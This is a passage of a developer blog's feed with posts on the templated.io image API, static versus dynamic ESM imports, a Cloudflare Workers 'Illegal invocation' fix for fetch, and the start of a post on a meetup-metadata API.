&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;                    &quot;layer_name&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;title&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;                },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;                {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;                    &quot;image_url&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;https://v5.airtableusercontent.com/v3/u/37/37/1737655200000/7NVVJoNpTRdQFwaUSRKRyw/Ej4K-pKgYMhRgTHRyE2fvR-wnxZi_F-0LsmVTkHLJf1dpH1bcuuU3RVq3msHLNdyhdXKIVnewk9JXhhbpaiKiJc1uPt0YNYx6XyE8xH6UDMd02NJsEymlaYZUQlr6_L7H89PporK28x_HAcpqEdWSg/vJC1yCgppLMCByrKcLkJ8yMV60DIbAsMzNUuX9wMC4M&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;                    &quot;layer_name&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;header&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;                },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;                {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;                    &quot;layer_name&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;date&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;                },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;                {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;                    &quot;text&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;8mn&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;                    &quot;layer_name&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;readingTime&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;                }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;            ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;            &quot;template&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;857483bf-d4e3-4cf1-a32e-83d85d379314&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;            &quot;transparent&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I had a wow effect very rapidly on this tool, as it &amp;quot;just works™&amp;quot; with a very
simple interface to use, and they even quickly show you the API calls to do.
It&#39;s really built with the API in mind.&lt;/p&gt;
&lt;p&gt;In the past I had tried to do the same thing with the Google Slide API, but the
API is at least 10x more complex to use. I even considered using tools like
Figma (whole new level of complexity) and Canva (that doesn&#39;t even have an API).
Here, it took me about 5mn to have something working.&lt;/p&gt;
&lt;p&gt;The first time I used the app, a sales person reached out to me through the
integrated chat. While I don&#39;t usually like this kind of sales intrusion, the
conversation was cordial, and I could see that they had really taken the time to
check my blog (based on my email address) and offered assistance without being
pushy. It was very refreshing from the usual sales interaction I had with other
providers.&lt;/p&gt;
&lt;p&gt;After a bit of discussion, I even realized the &amp;quot;sales person&amp;quot; I was talking to
was actually the sole developer of the whole app, doing everything. That gave me
even more respect for the work put in place here.&lt;/p&gt;
&lt;p&gt;So, in a nutshell, templated.io is simple and effective, it does exactly what
it&#39;s supposed to do and does it well.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Differences between static and dynamic imports in ESM</title>
    <link href="https://blog.pixelastic.com/2025/01/21/import-static-dynamic-differences-esm/"/>
    <updated>2025-01-21T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2025/01/21/import-static-dynamic-differences-esm</id>
    <content type="html">&lt;p&gt;&lt;img src=&quot;/img/files/2025-01-21-import-static-dynamic-differences-esm/header.png&quot; alt=&quot;Illustration of two doors side by side, one glowing blue and one glowing orange&quot;&gt;&lt;/p&gt;
&lt;p&gt;This article has probably be written hundreds of times already, so I don&#39;t think
I&#39;m adding anything new to the overall tech knowledge online, but hey writing it
will probably help me remember it better.&lt;/p&gt;
&lt;p&gt;In modern (ie. ESM) JavaScript, you no longer use the old &lt;code&gt;require()&lt;/code&gt; method to
load your dependencies; you use &lt;code&gt;import&lt;/code&gt; instead. What I didn&#39;t really realize
at first when I started migrating my codebase to ESM was that &lt;code&gt;import&lt;/code&gt; comes in
two flavors: &lt;strong&gt;static imports&lt;/strong&gt; and &lt;strong&gt;dynamic imports&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Let&#39;s assume the following two dependency files:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// defaultExport.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; default&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  name: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Tim&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// namedExport.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; const&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; greetings&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; greetings&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  console&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;info&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;`Hello ${&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;}!`&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first one is doing what we call a default export (using &lt;code&gt;export default&lt;/code&gt;).
The other is doing a named export (using &lt;code&gt;export {something}&lt;/code&gt;).&lt;/p&gt;
&lt;h2&gt;Static imports&lt;/h2&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; config&lt;/span&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt; from&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;./defaultExport.js&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;greetings&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;./namedExport.js&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;greetings&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// Hello Tim!&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using &lt;strong&gt;static imports&lt;/strong&gt;, I can import either the default export with the
&lt;code&gt;import name from ‘./path.js&lt;/code&gt; syntax, or a named export with
&lt;code&gt;import { name } from ‘./path.js&lt;/code&gt; (the difference is in the &lt;code&gt;{ }&lt;/code&gt; wrapping the
name).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The good:&lt;/strong&gt; They sit at the top of the file, defining the needed dependencies.
They are a staple of ESM, and allow for tree shaking your dependencies (ie.
removing all dead code). They should be the most common kind of imports.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The bad:&lt;/strong&gt; As they load dependencies statically, they won&#39;t &amp;quot;fail&amp;quot; in case of
a cyclic dependency by default (you&#39;ll only realize something is broken in
production, when suddenly one of your deps is &lt;code&gt;undefined&lt;/code&gt;). Thankfully ESLint
&lt;a href=&quot;https://github.com/import-js/eslint-plugin-import/blob/main/docs/rules/no-cycle.md&quot;&gt;can help you catch this&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Dynamic imports&lt;/h2&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; config&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; import&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;./defaultExport.js&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;default&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;greetings&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; import&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;./namedExport.js&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;greetings&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// Hello Tim!&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using &lt;strong&gt;dynamic imports&lt;/strong&gt;, I can still import both default exports and named
imports, but there are a few subtle differences to keep in mind. The
&lt;code&gt;await import()&lt;/code&gt; call returns an object that contains _all _the exports of the
module, both &lt;code&gt;default&lt;/code&gt; and named.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The good:&lt;/strong&gt; If you need to access named imports, the change in syntax is
trivial. The &lt;code&gt;{ }&lt;/code&gt; now acts as an object destructuring, and allows you to access
and define only the keys you&#39;re interested in.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The bad:&lt;/strong&gt; Access default exports though requires you to specifically target
the &lt;code&gt;.default&lt;/code&gt; key of the returned object. Because &lt;code&gt;import&lt;/code&gt; is asynchronous, it
also requires you to wrap your &lt;code&gt;await import()&lt;/code&gt; call in &lt;code&gt;( )&lt;/code&gt; to actually return
the &lt;code&gt;.default&lt;/code&gt; key of what the promise returns, rather than the &lt;code&gt;.default&lt;/code&gt; key
of the promise itself (that doesn&#39;t actually exist).&lt;/p&gt;
&lt;h2&gt;What to use when?&lt;/h2&gt;
&lt;p&gt;I tend to use &lt;strong&gt;static imports&lt;/strong&gt; 90% of the time.&lt;/p&gt;
&lt;p&gt;I only ever use &lt;strong&gt;dynamic imports&lt;/strong&gt; when:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I need the module to specifically be loaded at a certain point in time (maybe
because I don&#39;t yet have all the config ready before that)&lt;/li&gt;
&lt;li&gt;The module is slow to load (it does a lot of stuff when imported) and I want
to delay that to a more appropriate time.&lt;/li&gt;
&lt;li&gt;I have a wrapper function that can do a bunch of different things, and I want
to only load the required dependency modules based on what the function will
actually need.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When this happens, I make sure that I don&#39;t forget to grab the &lt;code&gt;.default&lt;/code&gt; key
(but as I tend to prefer named exports anyway, most of the time the change
doesn&#39;t require much thought).&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Fetch this: Illegal invocation in Cloudflare Workers</title>
    <link href="https://blog.pixelastic.com/2025/01/21/fetch-this-illegal-invocation/"/>
    <updated>2025-01-21T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2025/01/21/fetch-this-illegal-invocation</id>
    <content type="html">&lt;p&gt;&lt;img src=&quot;/img/files/2025-01-21-fetch-this-illegal-invocation/header.png&quot; alt=&quot;Pixel art snow globe with the word this floating inside&quot;&gt;&lt;/p&gt;
&lt;p&gt;If you write anything in JavaScript, you&#39;ve certainly encountered the &lt;code&gt;this&lt;/code&gt;
keyword, and wondered what is &lt;code&gt;this&lt;/code&gt;? Even if you&#39;re an experienced JS dev,
sometimes &lt;code&gt;this&lt;/code&gt; can bite you in unexpected ways.&lt;/p&gt;
&lt;p&gt;This happened to me today, while porting a codebase from the
&lt;a href=&quot;https://github.com/sindresorhus/got&quot;&gt;got&lt;/a&gt; library, to the builtin &lt;code&gt;fetch&lt;/code&gt;
method. I had a method to write that was doing a bunch of API calls (using
&lt;code&gt;fetch&lt;/code&gt;), massaging the data I got from one endpoint, and sending it to another.&lt;/p&gt;
&lt;p&gt;To unit-test that method, I didn&#39;t want to do actual API calls, but rather mock
the calls, and return fake data to simulate a real call exchange. My test needed
to assert that one of the calls in the pipeline was using the right headers.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// main.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; default&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  async&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; run&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;        // Here I do a bunch of chained API calls&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;        // [...]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  __fetch: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;fetch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// __tests__/main.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;vi&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;spyOn&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;__fetch&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;mockReturnValue&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Instead of using &lt;code&gt;fetch&lt;/code&gt; directly in my &lt;code&gt;run&lt;/code&gt; method, I added the &lt;code&gt;__fetch&lt;/code&gt; key
into my object, and would call &lt;code&gt;this.__fetch&lt;/code&gt; instead. That, way, I could
&lt;code&gt;spyOn&lt;/code&gt; the method and mock the returned value. As &lt;code&gt;main.__fetch&lt;/code&gt; would become a
mocked function, I could also run asserts on it to check if it had been called
enough times and with the right number of arguments.&lt;/p&gt;
&lt;p&gt;That works perfectly and my tests all pass &#92;o/&lt;/p&gt;
&lt;h2&gt;But it fails in production&lt;/h2&gt;
&lt;p&gt;Weirdly enough, even if tests are passing, the code doesn&#39;t actually work in
production once deployed to Cloudflare workers. What I got instead was a nice
&lt;code&gt;TypeError: Illegal invocation: function called with incorrect this reference&lt;/code&gt;
error.&lt;/p&gt;
&lt;p&gt;Turns out it&#39;s a well known and documented type of error on Cloudflare Workers.
Their documentation even
&lt;a href=&quot;https://developers.cloudflare.com/workers/observability/errors/#illegal-invocation-errors&quot;&gt;has a dedicated part about it&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2025-01-21-fetch-this-illegal-invocation/01-d3fcb945db.png&quot; alt=&quot;Cloudflare documentation section on Illegal invocation errors, caused by a lost this reference&quot;&gt;&lt;/p&gt;
&lt;p&gt;What&#39;s happening is that once the code is bundled with &lt;code&gt;esbuild&lt;/code&gt; before being
sent to Cloudflare workers, the reference to &lt;code&gt;this&lt;/code&gt; inside of &lt;code&gt;fetch&lt;/code&gt; is lost.&lt;/p&gt;
&lt;h2&gt;The solution&lt;/h2&gt;
&lt;p&gt;The fix is surprisingly simple. Instead of attributing &lt;code&gt;__fetch&lt;/code&gt; as a reference
to &lt;code&gt;fetch&lt;/code&gt;, all I had to do was to define a new function that would simply call
&lt;code&gt;fetch&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; default&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  async&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; init&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;        // Here I do a bunch of chained API calls&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;        // [...]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;  __fetch&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;options&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; fetch&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;options&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This creates a wrapper around &lt;code&gt;fetch&lt;/code&gt;, so its &lt;code&gt;this&lt;/code&gt; isn&#39;t lost.&lt;/p&gt;
&lt;p&gt;This might look like repetitive code, but the wrapper actually has a use. I made
sure to add a comment around that wrapper so future me doesn&#39;t inadvertently
&amp;quot;optimize&amp;quot; the code and break it.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>The hidden complexity of &quot;just a few lines of code&quot;</title>
    <link href="https://blog.pixelastic.com/2025/01/15/hidden-complexity-just-a-few-lines-of-code/"/>
    <updated>2025-01-15T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2025/01/15/hidden-complexity-just-a-few-lines-of-code</id>
    <content type="html">&lt;p&gt;&lt;img src=&quot;/img/files/2025-01-15-hidden-complexity-just-a-few-lines-of-code/header.png&quot; alt=&quot;Illustration of an orange cloud holding a city, floating above a pile of scrap robots in a pine forest&quot;&gt;&lt;/p&gt;
&lt;p&gt;We&#39;re often hosting meetups in the Algolia Paris office. To make our lives
easier, I decided to build an API that would allow us to fetch metadata about
the event easily (like description, date, list of attendees, etc). I decided to
host that on Cloudflare Workers.&lt;/p&gt;
&lt;p&gt;The premise was simple. Pass the &lt;code&gt;url&lt;/code&gt; of the event to the API, and metadata
about the event returned in a nicely formatted &lt;code&gt;JSON&lt;/code&gt;. My function would crawl
the URL, parse it with &lt;code&gt;cheerio&lt;/code&gt;, extract relevant information and return it.
Easy.&lt;/p&gt;
&lt;h2&gt;It&#39;s just gonna be a few lines of code&lt;/h2&gt;
&lt;p&gt;I could grab the description easily, write a bit more complex selectors and get
the date. Great.&lt;/p&gt;
